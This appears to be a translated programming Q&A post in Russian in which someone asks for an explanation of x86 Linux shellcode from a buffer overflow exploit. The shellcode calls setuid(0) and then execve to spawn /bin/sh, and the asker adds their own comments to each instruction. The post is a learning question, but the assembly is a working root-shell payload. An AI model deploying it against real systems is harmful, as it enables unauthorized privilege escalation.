Как Могу я объяснить поведение следующего эксплойта шелл-кода?

Это шелл-код для использования уязвимости Bufferoverflow. Он устанавливает setuid (0) и порождает оболочку с помощью execve () . Вот как я это интерпретировал:

xor    %ebx,%ebx       ; Xoring to make ebx value 0
lea    0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int    $0x80           ; interrupt
push   %ebx            ; push ebx
push   $0x68732f6e     ; push address // why this address only????
push   $0x69622f2f     ; push address // same question
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
cltd                   ; mov execve sys call into al
mov    $0xb,%al
int    $0x80           ; interrupt

Кто-нибудь может четко объяснить все шаги?

5
задан phuclv 30 August 2018 в 03:53
поделиться